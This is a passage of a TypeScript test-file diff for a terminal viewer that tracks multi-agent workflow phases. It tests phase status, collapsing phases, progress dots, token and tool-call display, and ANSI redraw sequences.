assert.ok(rendered.includes("ag_1"), `expected agentId in:\n${rendered}`); }); + +// ── Phase tracking (Finding C — absorbed from the deleted task_chain.ts, +// which modeled these transitions correctly but was never wired into +// production; its test cases are migrated here against the unified state) ── + +const twoPhaseStart: BrainEvent = { + type: "workflow_start", workflowId: "wf_abc", + phases: [ + { n: 1, type: "RECON", agents: 8 }, + { n: 2, type: "IMPLEMENT", agents: 12 }, + ], + totalAgents: 20, +}; + +test("workflow_start sets phases from wire data, all waiting", () => { + const s = applyViewerFrame(createViewerState(), twoPhaseStart); + assert.strictEqual(s.phases.length, 2); + assert.strictEqual(s.phases[0]!.status, "waiting"); + assert.strictEqual(s.phases[1]!.status, "waiting"); + assert.strictEqual(s.phases[0]!.type, "RECON"); + assert.strictEqual(s.phases[1]!.type, "IMPLEMENT"); +}); + +test("phase_start marks the matching phase running, leaves others alone", () => { + let s = applyViewerFrame(createViewerState(), twoPhaseStart); + s = applyViewerFrame(s, { type: "phase_start", phaseN: 1, phaseType: "RECON", agentCount: 8 } as BrainEvent); + assert.strictEqual(s.phases[0]!.status, "running"); + assert.strictEqual(s.phases[1]!.status, "waiting"); +}); + +test("phase_done marks phase done and stores artifactSummary", () => { + let s = applyViewerFrame(createViewerState(), twoPhaseStart); + s = applyViewerFrame(s, { type: "phase_start", phaseN: 1, phaseType: "RECON", agentCount: 8 } as BrainEvent); + s = applyViewerFrame(s, { type: "phase_done", phaseN: 1, artifactSummary: "found 3 issues" } as BrainEvent); + assert.strictEqual(s.phases[0]!.status, "done"); + assert.strictEqual(s.phases[0]!.artifactSummary, "found 3 issues"); +}); + +test("phase_start/phase_done never touch an already-populated agents array", () => { + // Seeded with a real spawned agent first — a reducer bug that clobbers + // `agents` (e.g. an accidental `agents: []` in the phase_start/phase_done + // branch) is unobservable if this test starts from zero agents, since an + // empty array reset to empty proves nothing. + let s = applyViewerFrame(createViewerState(), twoPhaseStart); + s = applyViewerFrame(s, spawn1); + s = applyViewerFrame(s, { type: "phase_start", phaseN: 1, phaseType: "RECON", agentCount: 8 } as BrainEvent); + s = applyViewerFrame(s, { type: "phase_done", phaseN: 1, artifactSummary: "ok" } as BrainEvent); + assert.strictEqual(s.agents.length, 1); + assert.strictEqual(s.agents[0]!.id, "ag_1"); +}); + +test("ignores non-workflow frames without error", () => { + const s = applyViewerFrame(createViewerState(), { type: "error", msg: "hello" } as BrainEvent); + assert.strictEqual(s.workflowId, null); + assert.strictEqual(s.visible, false); +}); + +test("renderCiTree falls back to a flat agent list when workflow_start carries no phase data", () => { + const noPhaseStart: BrainEvent = { type: "workflow_start", workflowId: "wf_flat", phases: [], totalAgents: 1 }; + let s = applyViewerFrame(createViewerState(), noPhaseStart); + s = applyViewerFrame(s, spawn1); + const rendered = renderCiTree(s); + assert.ok(!rendered.includes("PHASES"), `expected no PHASES header in:\n${rendered}`); + assert.ok(rendered.includes("ag_1"), `expected 'ag_1' in:\n${rendered}`); +}); + +// ── Phase expand/collapse (Finding C's expandedPhaseNs) ── + +test("phases start expanded by default (agents visible without extra input)", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + assert.deepEqual(s.expandedPhaseNs, [1]); + assert.ok(renderCiTree(s).includes("ag_1")); +}); + +test("togglePhaseExpanded collapses a phase, hiding its agent rows", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + s = togglePhaseExpanded(s, 1); + assert.deepEqual(s.expandedPhaseNs, []); + const rendered = renderCiTree(s); + assert.ok(!rendered.includes("scan auth"), `expected agent row hidden in:\n${rendered}`); +}); + +test("togglePhaseExpanded twice restores the agent rows", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + s = togglePhaseExpanded(s, 1); + s = togglePhaseExpanded(s, 1); + assert.deepEqual(s.expandedPhaseNs, [1]); + assert.ok(renderCiTree(s).includes("scan auth")); +}); + +test("togglePhaseExpanded snaps the cursor off a now-hidden agent onto a visible one", () => { + let s = applyViewerFrame(createViewerState(), twoPhaseStart); + s = applyViewerFrame(s, spawn1); // phaseN 1 + s = applyViewerFrame(s, { type: "agent_spawn", agentId: "ag_2", phaseN: 2, brief: "implement fix" } as BrainEvent); + s = moveCursor(s, 1); // cursor now on ag_2 (phase 2) + assert.strictEqual(s.cursorIndex, 1); + s = togglePhaseExpanded(s, 2); // collapse the phase the cursor is sitting in + assert.notStrictEqual(s.cursorIndex, 1, "cursor must not be left pointing at a hidden row"); + assert.strictEqual(s.agents[s.cursorIndex]!.phaseN, 1, "cursor snapped to a still-visible agent"); +}); + +test("moveCursor skips over agents in a collapsed phase", () => { + let s = applyViewerFrame(createViewerState(), twoPhaseStart); + s = applyViewerFrame(s, spawn1); // ag_1, phaseN 1 + s = applyViewerFrame(s, { type: "agent_spawn", agentId: "ag_2", phaseN: 2, brief: "implement fix" } as BrainEvent); + s = togglePhaseExpanded(s, 2); // collapse phase 2 (ag_2 now hidden) + s = moveCursor(s, 1); // from ag_1, moving "down" must not land on the hidden ag_2 + assert.strictEqual(s.agents[s.cursorIndex]!.id, "ag_1", "only ag_1 is visible, cursor must stay put"); +}); + +// ── Multi-phase render coverage (phaseDots was previously exercised only via +// applyViewerFrame state assertions, never through renderCiTree itself) ── + +test("renderCiTree's phaseDots renders filled dots for done agents, split correctly across two phases", () => { + let s = applyViewerFrame(createViewerState(), twoPhaseStart); // phase 1: 8 agents, phase 2: 12 agents + s = applyViewerFrame(s, spawn1); // ag_1, phase 1 + s = applyViewerFrame(s, { type: "agent_spawn", agentId: "ag_2", phaseN: 2, brief: "implement" } as BrainEvent); + s = applyViewerFrame(s, { type: "agent_done", agentId: "ag_1", phaseN: 1, summary: "ok" } as BrainEvent); + const rendered = renderCiTree(s); + // phase 1: 1 done out of a declared 8 -> "●" + 7x "○" + assert.ok(rendered.includes("●" + "○".repeat(7)), `expected phase 1 dots in:\n${rendered}`); + // phase 2: 0 done out of a declared 12 -> 12x "○", no filled dot + assert.ok(rendered.includes("○".repeat(12)), `expected phase 2 dots in:\n${rendered}`); + // both phases' own agents show up under the right phase (both start expanded) + assert.ok(rendered.includes("scan auth")); + assert.ok(rendered.includes("implement")); +}); + +test("renderCiTree's phaseDots counts an errored agent as settled, not partial", () => { + let s = applyViewerFrame(createViewerState(), wfStart); // 1 phase declaring 2 agents + s = applyViewerFrame(s, spawn1); + s = applyViewerFrame(s, spawn2); + s = applyViewerFrame(s, { type: "agent_done", agentId: "ag_1", phaseN: 1, summary: "ok" } as BrainEvent); + // ag_2 errors instead of completing — status is a real AgentEntry state + s = { ...s, agents: s.agents.map((a) => (a.id === "ag_2" ? { ...a, status: "error" as const } : a)) }; + const rendered = renderCiTree(s); + assert.ok(rendered.includes("●●"), `both agents (1 done + 1 error) should render as filled dots:\n${rendered}`); + assert.ok(!rendered.includes("●○"), `an errored agent must not read as still-partial:\n${rendered}`); +}); + +// ── Client-derivable + backend-gated agent fields (Findings E + F) ── + +test("agent_spawn stamps a client-side startedMs", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + assert.strictEqual(typeof s.agents[0]!.startedMs, "number"); +}); + +test("tokens/toolCalls/durationMs default to null (never fabricated)", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + assert.strictEqual(s.agents[0]!.tokens, null); + assert.strictEqual(s.agents[0]!.toolCalls, null); + assert.strictEqual(s.agents[0]!.durationMs, null); +}); + +test("agent_done with optional tier-2/3 fields populates tokens/toolCalls/durationMs", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + s = applyViewerFrame(s, { + type: "agent_done", agentId: "ag_1", phaseN: 1, summary: "ok", + tokens: 97600, toolCalls: 40, durationMs: 266_000, + } as BrainEvent); + assert.strictEqual(s.agents[0]!.tokens, 97600); + assert.strictEqual(s.agents[0]!.toolCalls, 40); + assert.strictEqual(s.agents[0]!.durationMs, 266_000); +}); + +test("agent_done without tier-2/3 fields leaves them null, not zero", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + s = applyViewerFrame(s, { type: "agent_done", agentId: "ag_1", phaseN: 1, summary: "ok" } as BrainEvent); + assert.strictEqual(s.agents[0]!.tokens, null); + assert.strictEqual(s.agents[0]!.toolCalls, null); + assert.strictEqual(s.agents[0]!.durationMs, null); +}); + +test("renderCiTree shows an em-dash for agents with no tier-2/3 data yet", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + const rendered = renderCiTree(s); + assert.ok(rendered.includes("—"), `expected em-dash placeholder in:\n${rendered}`); +}); + +test("renderCiTree shows real tokens/tools once the backend sends them", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + s = applyViewerFrame(s, { + type: "agent_done", agentId: "ag_1", phaseN: 1, summary: "ok", + tokens: 97600, toolCalls: 40, durationMs: 266_000, + } as BrainEvent); + const rendered = renderCiTree(s); + assert.ok(rendered.includes("97.6K tok"), `expected formatted tokens in:\n${rendered}`); + assert.ok(rendered.includes("40 tools"), `expected tool count in:\n${rendered}`); +}); + +// ── selectAgent(null) — back out of the drill-down (Finding D) ── + +test("selectAgent(state, null) clears the selection", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + s = selectAgent(s, "ag_1"); + s = selectAgent(s, null); + assert.strictEqual(s.selectedAgentId, null); +}); + +// ── Redraw-in-place regression (Finding B) ── + +test("viewerClearSequence degrades to a single-line clear when nothing was rendered yet", () => { + assert.strictEqual(viewerClearSequence(0), "\r\x1b[2K"); + assert.strictEqual(viewerClearSequence(-1), "\r\x1b[2K"); +}); + +test("viewerClearSequence emits one cursor-up+clear-line pair per previously-rendered line", () => { + const seq = viewerClearSequence(3); + assert.strictEqual(seq, "\r\x1b[2K" + "\x1b[1A\x1b[2K".repeat(3)); +}); + +test("viewerLineCount is 0 for an empty (hidden) render", () => { + assert.strictEqual(viewerLineCount(""), 0); +}); + +test("viewerLineCount counts newline-separated lines", () => { + assert.strictEqual(viewerLineCount("a\nb\nc"), 3); + assert.strictEqual(viewerLineCount("solo line"), 1); +}); + +test("redraw clear sequence stays bounded across repeated cursor moves (Finding B regression: the old \\r\\x1b[2K only erased the input row, stacking a full duplicate tree in scrollback on every move)", () => { + let s = applyViewerFrame(createViewerState(), wfStart); + s = applyViewerFrame(s, spawn1); + s = applyViewerFrame(s, spawn2); + const baselineLen = viewerClearSequence(viewerLineCount(renderCiTree(s))).length; + for (let i = 0; i < 5; i++) { + s = moveCursor(s, i % 2 === 0 ? 1 : -1); + const len = viewerClearSequence(viewerLineCount(renderCiTree(s))).length; + assert.strictEqual(len, baselineLen, "clear sequence must not grow across repeated moves"); + } +});